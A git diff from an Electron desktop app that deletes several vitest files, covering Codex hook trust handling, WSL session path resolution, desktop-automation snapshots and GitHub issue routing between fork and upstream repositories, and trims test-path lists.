"src/renderer/src/components/status-bar/SshStatusSegment.large-host-list.test.tsx": 1552, @@ -9123,7 +9103,6 @@ "src/renderer/src/components/task-page/task-page-list-chrome-visibility.test.ts": 33, "src/renderer/src/components/task-page/task-page-mutation-page-allocation.test.ts": 128, "src/renderer/src/components/task-page/task-page-new-issue-draft.test.ts": 76, - "src/renderer/src/components/task-page/task-page-task-source-host-availability.test.ts": 401, "src/renderer/src/components/task-page/task-page-work-item-pagination.test.ts": 56, "src/renderer/src/components/task-page/github/rows-twin-host-routing.test.tsx": 1521, "src/renderer/src/components/task-page/github/task-page-github-dialog-state-authority.test.ts": 71, diff --git a/config/scripts/pr-package-test-paths.mjs b/config/scripts/pr-package-test-paths.mjs index 7b2b4280d73..4c0cba56430 100644 --- a/config/scripts/pr-package-test-paths.mjs +++ b/config/scripts/pr-package-test-paths.mjs @@ -88,7 +88,6 @@ export const WINDOWS_BOUNDARY_TESTS = [ 'src/main/wsl/wsl-guest-environment.test.ts', 'src/main/wsl/wsl-executable-path.win32.test.ts', 'src/main/claude-accounts/claude-profile-history-windows.test.ts', - 'src/main/wsl/wsl-w1-w3-contract.test.ts', 'src/shared/source-scan/source-tree-scan.test.ts', 'src/main/cli/wsl-cli-powershell-boundary.test.ts', 'src/main/computer/desktop-script-runtime-host.win32.test.ts', diff --git a/src/main/codex/codex-hooks-read-denial-followup.test.ts b/src/main/codex/codex-hooks-read-denial-followup.test.ts deleted file mode 100644 index 57066cf5306..00000000000 --- a/src/main/codex/codex-hooks-read-denial-followup.test.ts +++ /dev/null @@ -1,138 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import type * as NodeFs from 'node:fs' -import type * as NodeOs from 'node:os' -import type * as CodexManagedTrustReconciliation from './codex-managed-trust-reconciliation' -import { tmpdir } from 'node:os' -import { join } from 'node:path' - -// Measured chmod/icacls denials leave exists/stat successful but fail content reads -// (macOS EACCES -13, Windows EPERM -4048); do not fake absence. - -const denials = vi.hoisted(() => { - const state = { - paths: new Set(), - deny(path: string): void { - state.paths.add(path) - }, - reset(): void { - state.paths.clear() - }, - check(target: unknown, syscall: string): void { - if (typeof target !== 'string' || !state.paths.has(target)) { - return - } - const error: NodeJS.ErrnoException = new Error( - `EACCES: permission denied, ${syscall} '${target}'` - ) - error.code = 'EACCES' - error.errno = -13 - error.syscall = syscall - error.path = target - throw error - } - } - return state -}) - -vi.mock('node:fs', async (importOriginal) => { - const actual = await importOriginal() - const guardRead = (fn: unknown, syscall: string): unknown => { - const original = fn as (...args: unknown[]) => unknown - const wrapped = (...args: unknown[]): unknown => { - denials.check(args[0], syscall) - return original(...args) - } - return Object.assign(wrapped, original) - } - const patched: Record = { - ...actual, - readFileSync: guardRead(actual.readFileSync, 'read'), - openSync: Object.assign((...args: unknown[]): unknown => { - const flags = args[1] - if (flags === undefined || (typeof flags === 'string' && flags.startsWith('r'))) { - denials.check(args[0], 'open') - } - return (actual.openSync as (...a: unknown[]) => unknown)(...args) - }, actual.openSync) - } - return { ...patched, default: patched } -}) - -const { getPathMock, homedirMock } = vi.hoisted(() => ({ - getPathMock: vi.fn<(name: string) => string>(), - homedirMock: vi.fn<() => string>() -})) - -vi.mock('electron', () => ({ app: { getPath: getPathMock } })) -vi.mock('node:os', async () => { - const actual = await vi.importActual('node:os') - return { ...actual, homedir: homedirMock } -}) - -const realFs = await vi.importActual('node:fs') - -let fakeHomeDir: string -let userDataDir: string -let previousUserDataPath: string | undefined - -beforeEach(() => { - denials.reset() - fakeHomeDir = realFs.mkdtempSync(join(tmpdir(), 'orca-hooksread-home-')) - userDataDir = realFs.mkdtempSync(join(tmpdir(), 'orca-hooksread-data-')) - previousUserDataPath = process.env.ORCA_USER_DATA_PATH - process.env.ORCA_USER_DATA_PATH = userDataDir - homedirMock.mockReturnValue(fakeHomeDir) - getPathMock.mockImplementation((name: string) => { - if (name === 'userData') { - return userDataDir - } - throw new Error(`unexpected app.getPath(${name})`) - }) - realFs.mkdirSync(join(fakeHomeDir, '.codex'), { recursive: true }) -}) - -afterEach(() => { - denials.reset() - realFs.rmSync(fakeHomeDir, { recursive: true, force: true }) - realFs.rmSync(userDataDir, { recursive: true, force: true }) - if (previousUserDataPath === undefined) { - delete process.env.ORCA_USER_DATA_PATH - } else { - process.env.ORCA_USER_DATA_PATH = previousUserDataPath - } - vi.clearAllMocks() -}) - -describe('an unreadable legacy hooks.json must not clear managed trust or its ledger', () => { - it('returns before the removal branch instead of discarding approvals', async () => { - const legacyHooksPath = join(fakeHomeDir, '.codex', 'hooks.json') - realFs.writeFileSync(legacyHooksPath, JSON.stringify({ hooks: { Stop: [] } }), 'utf-8') - - const removeSpy = vi.fn() - vi.resetModules() - vi.doMock('./codex-managed-trust-reconciliation', async (importOriginal) => { - const actual = await importOriginal() - return { ...actual, removeCodexManagedHookTrustEntries: removeSpy } - }) - try { - // Seed a grant so accidental removal would be observable. - const ledger = await import('./codex-trust-grant-ledger') - ledger.writeCodexTrustGrantLedgerHome( - join(fakeHomeDir, '.codex'), - { entries: { 'seed:1': { trustedHash: 'sha256:seed' } } } as never, - ledger.getCodexTrustGrantLedgerPath() - ) - - const hookService = await import('./hook-service') - denials.deny(legacyHooksPath) - - hookService._internals.cleanupLegacySystemManagedHooks() - - // Unreadable hooks must preserve existing trust and its ownership ledger. - expect(removeSpy).not.toHaveBeenCalled() - } finally { - vi.doUnmock('./codex-managed-trust-reconciliation') - vi.resetModules() - } - }) -}) diff --git a/src/main/codex/codex-session-source-home.test.ts b/src/main/codex/codex-session-source-home.test.ts deleted file mode 100644 index fa29650c495..00000000000 --- a/src/main/codex/codex-session-source-home.test.ts +++ /dev/null @@ -1,72 +0,0 @@ -import { describe, expect, it } from 'vitest' -import { - resolveHostCodexSessionSourceHome, - resolveWslCodexSessionSourceHome -} from './codex-session-source-home' - -describe('resolveHostCodexSessionSourceHome', () => { - it('returns undefined when no override is configured', () => { - expect(resolveHostCodexSessionSourceHome({})).toBeUndefined() - expect(resolveHostCodexSessionSourceHome({ codexSessionSourceHome: {} })).toBeUndefined() - }) - - it('returns undefined for blank/whitespace overrides so the default is kept', () => { - expect( - resolveHostCodexSessionSourceHome({ codexSessionSourceHome: { host: ' ' } }) - ).toBeUndefined() - }) - - it('returns the trimmed host override path', () => { - expect( - resolveHostCodexSessionSourceHome({ codexSessionSourceHome: { host: ' /custom/codex ' } }) - ).toBe('/custom/codex') - }) -}) - -describe('resolveWslCodexSessionSourceHome', () => { - it('returns undefined when no per-distro override exists', () => { - expect(resolveWslCodexSessionSourceHome({}, 'Ubuntu')).toBeUndefined() - expect( - resolveWslCodexSessionSourceHome( - { codexSessionSourceHome: { wsl: { Debian: '/home/me/.codex' } } }, - 'Ubuntu' - ) - ).toBeUndefined() - }) - - it('resolves a per-distro override for the matching distro', () => { - expect( - resolveWslCodexSessionSourceHome( - { codexSessionSourceHome: { wsl: { Ubuntu: '/home/me/.config/codex' } } }, - 'Ubuntu' - ) - ).toBe('/home/me/.config/codex') - }) - - it('matches distro names case-insensitively, mirroring WSL', () => { - expect( - resolveWslCodexSessionSourceHome( - { codexSessionSourceHome: { wsl: { Ubuntu: '/home/me/.config/codex' } } }, - 'ubuntu' - ) - ).toBe('/home/me/.config/codex') - }) - - it('ignores blank per-distro overrides so the default is kept', () => { - expect( - resolveWslCodexSessionSourceHome( - { codexSessionSourceHome: { wsl: { Ubuntu: ' ' } } }, - 'Ubuntu' - ) - ).toBeUndefined() - }) - - it('does not leak the host override into WSL resolution', () => { - expect( - resolveWslCodexSessionSourceHome( - { codexSessionSourceHome: { host: '/custom/codex' } }, - 'Ubuntu' - ) - ).toBeUndefined() - }) -}) diff --git a/src/main/computer/desktop-script-provider-client.test.ts b/src/main/computer/desktop-script-provider-client.test.ts deleted file mode 100644 index 2bdefe5763d..00000000000 --- a/src/main/computer/desktop-script-provider-client.test.ts +++ /dev/null @@ -1,202 +0,0 @@ -import { afterEach, describe, expect, it } from 'vitest' -import { - createDesktopScriptProviderClient, - mockBridgeResponse, - publicSnapshotKeys, - resetDesktopScriptProviderTestHarness, - sampleBridgeSnapshot, - sampleCapabilities -} from './desktop-script-provider-test-harness' - -describe('DesktopScriptProviderClient snapshots', () => { - afterEach(resetDesktopScriptProviderTestHarness) - - it('normalizes list-apps responses', async () => { - mockBridgeResponse({ - ok: true, - apps: [{ name: 'Notepad', bundleIdentifier: 'notepad', pid: 42 }] - }) - - const client = await createDesktopScriptProviderClient('windows', '/tmp/runtime.ps1') - - await expect(client.listApps()).resolves.toEqual({ - apps: [ - { - name: 'Notepad', - bundleId: 'notepad', - pid: 42, - isRunning: true, - lastUsedAt: null, - useCount: null - } - ] - }) - }) - - it('normalizes snapshots and remembers elements for follow-up actions', async () => { - mockBridgeResponse({ - ok: true, - snapshot: sampleBridgeSnapshot('Text Editor', 'initial') - }) - mockBridgeResponse({ - ok: true, - capabilities: sampleCapabilities() - }) - mockBridgeResponse({ - ok: true, - snapshot: sampleBridgeSnapshot('Text Editor', 'changed') - }) - - const client = await createDesktopScriptProviderClient('linux', '/tmp/runtime.py') - - const initial = await client.snapshot({ app: 'Text Editor' }) - expect(initial.snapshot.elementCount).toBe(1) - expect(initial.snapshot.window).toMatchObject({ - title: 'Text Editor', - id: 99, - x: 10, - y: 20, - width: 300, - height: 200 - }) - expect(initial.screenshotStatus).toEqual({ - state: 'captured', - metadata: { engine: 'unknown', windowId: 99 } - }) - expect(initial.snapshot.treeText).toContain('initial') - expect(publicSnapshotKeys(initial.snapshot)).toEqual([ - 'app', - 'coordinateSpace', - 'elementCount', - 'focusedElementId', - 'id', - 'treeText', - 'truncation', - 'window' - ]) - - await client.action('setValue', { - app: 'Text Editor', - elementIndex: 0, - value: 'changed', - noScreenshot: true - }) - }) - - it('uses bridge screenshot dimensions when the native payload is downscaled', async () => { - mockBridgeResponse({ - ok: true, - snapshot: { - ...sampleBridgeSnapshot('Text Editor', 'initial'), - screenshotWidth: 150, - screenshotHeight: 100, - screenshotScale: 0.5 - } - }) - - const client = await createDesktopScriptProviderClient('linux', '/tmp/runtime.py') - - const result = await client.snapshot({ app: 'Text Editor' }) - - expect(result.screenshot).toEqual({ - data: 'iVBORw0KGgo=', - format: 'png', - width: 150, - height: 100, - scale: 0.5 - }) - expect(result.snapshot.window).toMatchObject({ - width: 300, - height: 200 - }) - }) - - it('preserves provider window indexes when the snapshot has no stable window id', async () => { - mockBridgeResponse({ - ok: true, - snapshot: { - ...sampleBridgeSnapshot('Text Editor', 'initial'), - windowId: null, - windowIndex: 3 - } - }) - - const client = await createDesktopScriptProviderClient('linux', '/tmp/runtime.py') - - const result = await client.snapshot({ app: 'Text Editor', windowIndex: 3 }) - - expect(result.snapshot.window).toMatchObject({ - id: null, - index: 3, - title: 'Text Editor' - }) - }) - - it('uses window indexes in fallback snapshot IDs for ID-less provider windows', async () => { - mockBridgeResponse({ - ok: true, - snapshot: { - ...sampleBridgeSnapshot('Text Editor', 'first'), - snapshotId: undefined, - windowId: null, - windowIndex: 1 - } - }) - mockBridgeResponse({ - ok: true, - snapshot: { - ...sampleBridgeSnapshot('Text Editor', 'second'), - snapshotId: undefined, - windowId: null, - windowIndex: 2 - } - }) - - const client = await createDesktopScriptProviderClient('linux', '/tmp/runtime.py') - - const first = await client.snapshot({ app: 'Text Editor', windowIndex: 1 }) - const second = await client.snapshot({ app: 'Text Editor', windowIndex: 2 }) - - expect(first.snapshot.id).toContain('window-index:1') - expect(second.snapshot.id).toContain('window-index:2') - expect(first.snapshot.id).not.toBe(second.snapshot.id) - }) - - it('adds target window index metadata for ID-less action results', async () => { - mockBridgeResponse({ - ok: true, - snapshot: { - ...sampleBridgeSnapshot('Text Editor', 'initial'), - windowId: null, - windowIndex: 3 - } - }) - mockBridgeResponse({ - ok: true, - capabilities: sampleCapabilities() - }) - mockBridgeResponse({ - ok: true, - snapshot: { - ...sampleBridgeSnapshot('Text Editor', 'changed'), - windowId: null, - windowIndex: 3 - } - }) - - const client = await createDesktopScriptProviderClient('linux', '/tmp/runtime.py') - - await client.snapshot({ app: 'Text Editor', windowIndex: 3 }) - const result = await client.action('click', { - app: 'Text Editor', - windowIndex: 3, - elementIndex: 0, - noScreenshot: true - }) - - expect(result.action).toMatchObject({ - targetWindowId: null, - targetWindowIndex: 3 - }) - }) -}) diff --git a/src/main/github/issue-mutation-source.test.ts b/src/main/github/issue-mutation-source.test.ts deleted file mode 100644 index 0c416f561f0..00000000000 --- a/src/main/github/issue-mutation-source.test.ts +++ /dev/null @@ -1,174 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from 'vitest' -import type * as GithubApiRepositoryModule from './github-api-repository' -import type * as GhUtils from './gh-utils' - -const { ghExecFileAsyncMock, resolveIssueSourceMock, acquireMock, releaseMock } = vi.hoisted( - () => ({ - ghExecFileAsyncMock: vi.fn(), - resolveIssueSourceMock: vi.fn(), - acquireMock: vi.fn(), - releaseMock: vi.fn() - }) -) - -vi.mock('./gh-utils', async () => { - const actual = await vi.importActual('./gh-utils') - return { - ...actual, - ghExecFileAsync: ghExecFileAsyncMock, - acquire: acquireMock, - release: releaseMock - } -}) - -vi.mock('./github-api-repository', async (importOriginal) => ({ - ...(await importOriginal()), - resolveIssueGitHubApiRepositorySource: resolveIssueSourceMock -})) - -import { addIssueComment } from './issue-comment' -import { updateIssue } from './issue-update' - -const ORIGIN = { owner: 'fork-owner', repo: 'widgets', host: 'github.com' } -const UPSTREAM = { owner: 'upstream-owner', repo: 'widgets', host: 'github.com' } - -describe('issue mutations follow the issue source preference', () => { - beforeEach(() => { - ghExecFileAsyncMock.mockReset() - acquireMock.mockReset() - acquireMock.mockResolvedValue(undefined) - releaseMock.mockReset() - resolveIssueSourceMock.mockReset() - resolveIssueSourceMock.mockImplementation(async (_repoPath: string, preference: unknown) => ({ - source: preference === 'origin' ? ORIGIN : UPSTREAM, - fellBack: false - })) - }) - - it('posts issue comments to origin when origin is selected', async () => { - ghExecFileAsyncMock.mockResolvedValueOnce({ - stdout: JSON.stringify({ id: 1, user: { login: 'octo', avatar_url: '' }, body: 'hi' }) - }) - - await expect( - addIssueComment('/repo-root', 5, 'hi', null, null, {}, 'origin') - ).resolves.toMatchObject({ ok: true }) - - expect(resolveIssueSourceMock).toHaveBeenCalledWith('/repo-root', 'origin', null, {}) - expect(ghExecFileAsyncMock.mock.calls[0][0]).toContain( - 'repos/fork-owner/widgets/issues/5/comments' - ) - }) - - it('keeps an explicit owner/repo override ahead of the preference', async () => { - ghExecFileAsyncMock.mockResolvedValueOnce({ - stdout: JSON.stringify({ id: 2, user: { login: 'octo', avatar_url: '' }, body: 'hi' }) - }) - - await addIssueComment('/repo-root', 7, 'hi', null, UPSTREAM, {}, 'origin') - - expect(resolveIssueSourceMock).not.toHaveBeenCalled() - expect(ghExecFileAsyncMock.mock.calls[0][0]).toContain( - 'repos/upstream-owner/widgets/issues/7/comments' - ) - }) - - it('edits issues on origin when origin is selected', async () => { - ghExecFileAsyncMock.mockResolvedValue({ stdout: '' }) - - await expect( - updateIssue('/repo-root', 5, { body: 'Updated', addAssignees: ['octo'] }, null, {}, 'origin') - ).resolves.toEqual({ ok: true }) - - expect(resolveIssueSourceMock).toHaveBeenCalledWith('/repo-root', 'origin', null, {}) - expect(ghExecFileAsyncMock.mock.calls[0][0]).toContain('repos/fork-owner/widgets/issues/5') - expect(ghExecFileAsyncMock.mock.calls[1][0]).toEqual([ - 'issue', - 'edit', - '5', - '--repo', - 'fork-owner/widgets', - '--add-assignee', - 'octo' - ]) - }) - - it('keeps the upstream-first default when no preference is set', async () => { - ghExecFileAsyncMock.mockResolvedValue({ stdout: '' }) - - await updateIssue('/repo-root', 5, { body: 'Updated' }) - - expect(resolveIssueSourceMock).toHaveBeenCalledWith('/repo-root', undefined, undefined, {}) - expect(ghExecFileAsyncMock.mock.calls[0][0]).toContain('repos/upstream-owner/widgets/issues/5') - }) - - it('keeps edits on the opened issue when the saved preference changes', async () => { - ghExecFileAsyncMock.mockResolvedValue({ stdout: '' }) - - await updateIssue( - '/repo-root', - 5, - { body: 'Origin edit', state: 'closed', addLabels: ['bug'], addAssignees: ['octo'] }, - null, - {}, - 'upstream', - ORIGIN - ) - - expect(resolveIssueSourceMock).not.toHaveBeenCalled() - expect(ghExecFileAsyncMock.mock.calls.map(([args]) => args)).toEqual([ - ['issue', 'close', '5', '--repo', 'fork-owner/widgets'], - ['api', '-X', 'PATCH', 'repos/fork-owner/widgets/issues/5', '--input', '-'], - [ - 'issue', - 'edit', - '5', - '--repo', - 'fork-owner/widgets', - '--add-label', - 'bug', - '--add-assignee', - 'octo' - ] - ]) - expect(ghExecFileAsyncMock.mock.calls[1][1]?.stdin).toBe( - JSON.stringify({ body: 'Origin edit' }) - ) - }) - - it('preserves local WSL execution with an explicit issue repository', async () => { - ghExecFileAsyncMock.mockResolvedValue({ stdout: '' }) - - await updateIssue( - '/home/fixture/widgets', - 5, - { body: 'Origin edit' }, - null, - { wslDistro: 'Ubuntu' }, - 'upstream', - ORIGIN - ) - - expect(ghExecFileAsyncMock).toHaveBeenCalledWith( - expect.arrayContaining(['repos/fork-owner/widgets/issues/5']), - expect.objectContaining({ - cwd: '/home/fixture/widgets', - wslDistro: 'Ubuntu', - host: 'github.com' - }) - ) - }) - - it('refuses unresolved Origin mutations instead of using ambient gh', async () => { - resolveIssueSourceMock.mockResolvedValue({ source: null, fellBack: false }) - - await expect( - updateIssue('/repo-root', 5, { body: 'Origin edit' }, null, {}, 'origin') - ).resolves.toMatchObject({ ok: false }) - await expect( - addIssueComment('/repo-root', 5, 'Origin reply', null, null, {}, 'origin') - ).resolves.toMatchObject({ ok: false }) - - expect(ghExecFileAsyncMock).not.toHaveBeenCalled() - }) -}) diff --git a/src/main/github/work-item-details-issue-source.test.ts b/src/main/github/work-item-details-issue-source.test.ts deleted file mode 100644 index e52de876d18..00000000000 --- a/src/main/github/work-item-details-issue-source.test.ts +++ /dev/null @@ -1,239 +0,0 @@ -import type * as WorkItemDetailsTestLookup from './work-item-details-test-lookup' -import { beforeEach, describe, expect, it, vi } from 'vitest' - -const { - ghExecFileAsyncMock, - getOwnerRepoMock, - getOwnerRepoForRemoteMock, - getWorkItemMock, - getWorkItemByOwnerRepoMock, - acquireMock, - releaseMock -} = vi.hoisted(() => ({ - ghExecFileAsyncMock: vi.fn(), - getOwnerRepoMock: vi.fn(), - getOwnerRepoForRemoteMock: vi.fn(), - getWorkItemMock: vi.fn(), - getWorkItemByOwnerRepoMock: vi.fn(), - acquireMock: vi.fn(), - releaseMock: vi.fn() -})) - -vi.mock('./gh-utils', () => ({ - ghExecFileAsync: ghExecFileAsyncMock, - getOwnerRepo: getOwnerRepoMock, - getOwnerRepoForRemote: getOwnerRepoForRemoteMock, - ghRepoExecOptions: vi.fn((context) => ({ cwd: context.repoPath })), - githubRepoContext: vi.fn((repoPath, connectionId, localGitOptions) => ({ - repoPath, - connectionId: connectionId ?? null, - ...localGitOptions - })), - acquire: acquireMock, - release: releaseMock -})) - -vi.mock('./client', async () => ({ - getWorkItem: getWorkItemMock, - getWorkItemWithRepository: ( - await vi.importActual('./work-item-details-test-lookup') - ).makeWorkItemDetailsLookupMock(getWorkItemMock), - getWorkItemByOwnerRepo: getWorkItemByOwnerRepoMock, - getPRChecks: vi.fn(), - getPRComments: vi.fn() -})) - -vi.mock('./github-enterprise-repository', () => ({ - getEnterpriseGitHubRepoSlug: vi.fn().mockResolvedValue(null), - getEnterpriseGitHubRepoSlugForRemote: vi.fn().mockResolvedValue(null), - isGitHubHostAuthenticated: vi.fn().mockResolvedValue(true) -})) - -vi.mock('./rate-limit', () => ({ - repositoryRateLimitGuard: vi.fn(() => ({ blocked: false })), - noteRepositoryRateLimitSpend: vi.fn() -})) - -vi.mock('../git/remote-name-listing', () => ({ - shouldProbeGitRemote: vi.fn().mockResolvedValue(true) -})) - -import { getWorkItemDetails } from './work-item-details' -import { _resetOriginGitHubApiRepositoryCache } from './github-api-repository' - -const REMOTES: Record = { - origin: { owner: 'fork-owner', repo: 'widgets' }, - upstream: { owner: 'upstream-owner', repo: 'widgets' } -} - -function graphQLIssueResponse(assignee: string): { stdout: string } { - return { - stdout: JSON.stringify({ - data: { - repository: { - issue: { - body: `${assignee} body`, - assignees: { nodes: [{ login: assignee }] }, - participants: { nodes: [] }, - comments: { nodes: [] } - } - } - } - }) - } -} - -function graphQLOwnerArg(): string | undefined { - const args: string[] = ghExecFileAsyncMock.mock.calls[0][0] - return args.find((arg) => arg.startsWith('owner=')) -} - -describe('getWorkItemDetails issue source', () => { - beforeEach(() => { - _resetOriginGitHubApiRepositoryCache() - ghExecFileAsyncMock.mockReset() - getOwnerRepoMock.mockReset() - getOwnerRepoMock.mockResolvedValue(REMOTES.origin) - getOwnerRepoForRemoteMock.mockReset() - getOwnerRepoForRemoteMock.mockImplementation( - async (_repoPath: string, remoteName: string) => REMOTES[remoteName] ?? null - ) - getWorkItemMock.mockReset() - getWorkItemByOwnerRepoMock.mockReset() - getWorkItemMock.mockResolvedValue({ - id: 'issue:5', - type: 'issue', - number: 5, - title: 'Origin issue', - state: 'open', - url: 'https://github.com/fork-owner/widgets/issues/5', - labels: [], - updatedAt: '2026-04-01T00:00:00Z', - author: 'fork-author' - }) - acquireMock.mockReset() - acquireMock.mockResolvedValue(undefined) - releaseMock.mockReset() - }) - - it('reads body, assignees and comments from origin when origin is selected', async () => { - ghExecFileAsyncMock - .mockResolvedValueOnce(graphQLIssueResponse('fork-assignee')) - .mockResolvedValueOnce({ stdout: '' }) - - const details = await getWorkItemDetails('/repo-root', 5, 'issue', null, {}, 'origin') - - expect(getWorkItemMock).toHaveBeenCalledWith('/repo-root', 5, 'issue', null, {}, 'origin') - expect(graphQLOwnerArg()).toBe('owner=fork-owner') - expect(ghExecFileAsyncMock.mock.calls[1][0]).toContain( - 'repos/fork-owner/widgets/issues/5/timeline?per_page=100&page=1' - ) - expect(details?.assignees).toEqual(['fork-assignee']) - }) - - it('keeps the upstream-first default when no preference is set', async () => { - ghExecFileAsyncMock - .mockResolvedValueOnce(graphQLIssueResponse('upstream-assignee')) - .mockResolvedValueOnce({ stdout: '' }) - - const details = await getWorkItemDetails('/repo-root', 5, 'issue', null, {}) - - expect(graphQLOwnerArg()).toBe('owner=upstream-owner') - expect(details?.assignees).toEqual(['upstream-assignee']) - }) - - it('keeps a Project row on upstream even when Origin is selected', async () => { - const upstream = { ...REMOTES.upstream, host: 'github.com' } - getWorkItemByOwnerRepoMock.mockResolvedValue({ - id: 'issue:5', - type: 'issue', - number: 5, - title: 'Upstream project issue', - url: 'https://github.com/upstream-owner/widgets/issues/5', - state: 'open', - labels: [], - updatedAt: '', - author: 'upstream-author' - }) - ghExecFileAsyncMock - .mockResolvedValueOnce(graphQLIssueResponse('upstream-assignee')) - .mockResolvedValueOnce({ stdout: '' }) - - const details = await getWorkItemDetails('/repo-root', 5, 'issue', null, {}, 'origin', upstream) - - expect(getWorkItemMock).not.toHaveBeenCalled() - expect(getWorkItemByOwnerRepoMock).toHaveBeenCalledWith( - '/repo-root', - upstream, - 5, - 'issue', - null, - {} - ) - expect(graphQLOwnerArg()).toBe('owner=upstream-owner') - expect(details?.item.title).toBe('Upstream project issue') - expect(details?.assignees).toEqual(['upstream-assignee']) - }) - - it('does not fall back when the selected issue repository is unavailable', async () => { - getWorkItemByOwnerRepoMock.mockResolvedValue(null) - - await expect( - getWorkItemDetails('/repo-root', 5, 'issue', null, {}, 'upstream', { - ...REMOTES.origin, - host: 'github.com' - }) - ).resolves.toBeNull() - - expect(getWorkItemMock).not.toHaveBeenCalled() - expect(ghExecFileAsyncMock).not.toHaveBeenCalled() - }) - - it('rejects an invalid runtime issue host before calling the repository lookup', async () => { - await expect( - getWorkItemDetails('/repo-root', 5, 'issue', null, {}, 'upstream', { - ...REMOTES.origin, - host: 42 - }) - ).resolves.toBeNull() - - expect(getWorkItemByOwnerRepoMock).not.toHaveBeenCalled() - expect(getWorkItemMock).not.toHaveBeenCalled() - expect(ghExecFileAsyncMock).not.toHaveBeenCalled() - }) - - it('ignores an issue repository override on an untyped lookup', async () => { - ghExecFileAsyncMock - .mockResolvedValueOnce(graphQLIssueResponse('fork-assignee')) - .mockResolvedValueOnce({ stdout: '' }) - - await getWorkItemDetails('/repo-root', 5, undefined, null, {}, 'origin', { - owner: 'untrusted', - repo: 'other', - host: 'untrusted.example' - }) - - expect(getWorkItemByOwnerRepoMock).not.toHaveBeenCalled() - expect(graphQLOwnerArg()).toBe('owner=fork-owner') - expect(ghExecFileAsyncMock.mock.calls[0][1]).toMatchObject({ host: 'github.com' }) - }) - - it('normalizes host-less issue targets before loading the conversation', async () => { - getWorkItemByOwnerRepoMock.mockResolvedValue({ - type: 'issue', - number: 5, - title: 'Origin issue', - url: 'https://github.com/fork-owner/widgets/issues/5', - author: null - }) - ghExecFileAsyncMock - .mockResolvedValueOnce(graphQLIssueResponse('fork-assignee')) - .mockResolvedValueOnce({ stdout: '' }) - - await getWorkItemDetails('/repo-root', 5, 'issue', null, {}, 'upstream', REMOTES.origin) - - expect(graphQLOwnerArg()).toBe('owner=fork-owner') - expect(ghExecFileAsyncMock.mock.calls[0][1]).toMatchObject({ host: 'github.com' }) - expect(ghExecFileAsyncMock.mock.calls[1][1]).toMatchObject({ host: 'github.com' }) - }) -}) diff --git a/src/main/hooks-issue-command.test.ts b/src/main/hooks-issue-command.test.ts deleted file mode 100644 index 42686241930..00000000000 --- a/src/main/hooks-issue-command.test.ts +++ /dev/null @@ -1,144 +0,0 @@ -import type * as GitRunner from './git/runner' - -import { join } from 'node:path' -import { describe, expect, it, vi } from 'vitest' -import { - TEST_GITIGNORE_PATH, - TEST_ISSUE_COMMAND_PATH, - TEST_REPO_ORCA_YAML_PATH, - TEST_REPO_PATH -} from './hooks-test-fixtures' - -vi.mock('fs', () => ({ - readFileSync: vi.fn(), - existsSync: vi.fn(), - mkdirSync: vi.fn(), - writeFileSync: vi.fn(), - rmSync: vi.fn(), - chmodSync: vi.fn() -})) - -const { gitExecFileSyncMock } = vi.hoisted(() => ({ - gitExecFileSyncMock: vi.fn() -})) - -vi.mock('child_process', () => ({ - exec: vi.fn(), - execFile: vi.fn(), - execFileSync: vi.fn(), - spawn: vi.fn() -})) - -vi.mock('./git/runner', async () => ({ - ...(await vi.importActual('./git/runner')), - gitExecFileSync: gitExecFileSyncMock -})) - -vi.mock('./git/check-ignored-paths', () => ({ - checkIgnoredPaths: vi.fn().mockResolvedValue([]) -})) - -describe('readIssueCommand', () => { - it('prefers the local override over the shared orca.yaml command', async () => { - const fs = await import('node:fs') - vi.mocked(fs.existsSync).mockImplementation( - (path) => path === TEST_ISSUE_COMMAND_PATH || path === TEST_REPO_ORCA_YAML_PATH - ) - vi.mocked(fs.readFileSync).mockImplementation((path) => { - if (path === TEST_ISSUE_COMMAND_PATH) { - return 'local command\n' - } - if (path === TEST_REPO_ORCA_YAML_PATH) { - return 'issueCommand: |\n shared command\n' - } - return '' - }) - - const { readIssueCommand } = await import('./issue-command-file') - expect(readIssueCommand(TEST_REPO_PATH)).toEqual({ - localContent: 'local command', - sharedContent: 'shared command', - effectiveContent: 'local command', - localFilePath: TEST_ISSUE_COMMAND_PATH, - source: 'local' - }) - }) - - it('falls back to the shared orca.yaml command when no local override exists', async () => { - const fs = await import('node:fs') - vi.mocked(fs.existsSync).mockImplementation((path) => path === TEST_REPO_ORCA_YAML_PATH) - vi.mocked(fs.readFileSync).mockImplementation((path) => { - if (path === TEST_REPO_ORCA_YAML_PATH) { - return 'issueCommand: |\n shared command\n' - } - return '' - }) - - const { readIssueCommand } = await import('./issue-command-file') - expect(readIssueCommand(TEST_REPO_PATH)).toEqual({ - localContent: null, - sharedContent: 'shared command', - effectiveContent: 'shared command', - localFilePath: TEST_ISSUE_COMMAND_PATH, - source: 'shared' - }) - }) -}) - -describe('writeIssueCommand', () => { - it('checks file ignore rules in the selected WSL distro', async () => { - const { writeIssueCommand } = await import('./issue-command-file') - const { checkIgnoredPaths } = await import('./git/check-ignored-paths') - const fs = await import('node:fs') - vi.mocked(checkIgnoredPaths).mockResolvedValueOnce(['.orca/issue-command']) - vi.mocked(fs.writeFileSync).mockClear() - - await writeIssueCommand(TEST_REPO_PATH, 'local command', { wslDistro: 'Ubuntu' }) - - expect(checkIgnoredPaths).toHaveBeenLastCalledWith(TEST_REPO_PATH, ['.orca/issue-command'], { - wslDistro: 'Ubuntu' - }) - expect(fs.writeFileSync).toHaveBeenCalledExactlyOnceWith( - TEST_ISSUE_COMMAND_PATH, - 'local command\n', - 'utf-8' - ) - }) - - it('writes only the local override file and keeps .orca ignored locally', async () => { - const fs = await import('node:fs') - vi.mocked(fs.existsSync).mockImplementation( - (path) => path === TEST_GITIGNORE_PATH || path === join(TEST_REPO_PATH, '.orca') - ) - vi.mocked(fs.readFileSync).mockImplementation((path) => { - if (path === TEST_GITIGNORE_PATH) { - return 'node_modules/\n' - } - return '' - }) - - const { writeIssueCommand } = await import('./issue-command-file') - await writeIssueCommand(TEST_REPO_PATH, 'local command') - - expect(vi.mocked(fs.writeFileSync)).toHaveBeenCalledWith( - TEST_GITIGNORE_PATH, - 'node_modules/\n.orca\n', - 'utf-8' - ) - expect(vi.mocked(fs.writeFileSync)).toHaveBeenCalledWith( - TEST_ISSUE_COMMAND_PATH, - 'local command\n', - 'utf-8' - ) - }) - - it('deletes the local override when the override is cleared', async () => { - const { writeIssueCommand } = await import('./issue-command-file') - const fs = await import('node:fs') - await writeIssueCommand(TEST_REPO_PATH, ' ') - - expect(vi.mocked(fs.rmSync)).toHaveBeenCalledWith(TEST_ISSUE_COMMAND_PATH, { - force: true - }) - }) -}) 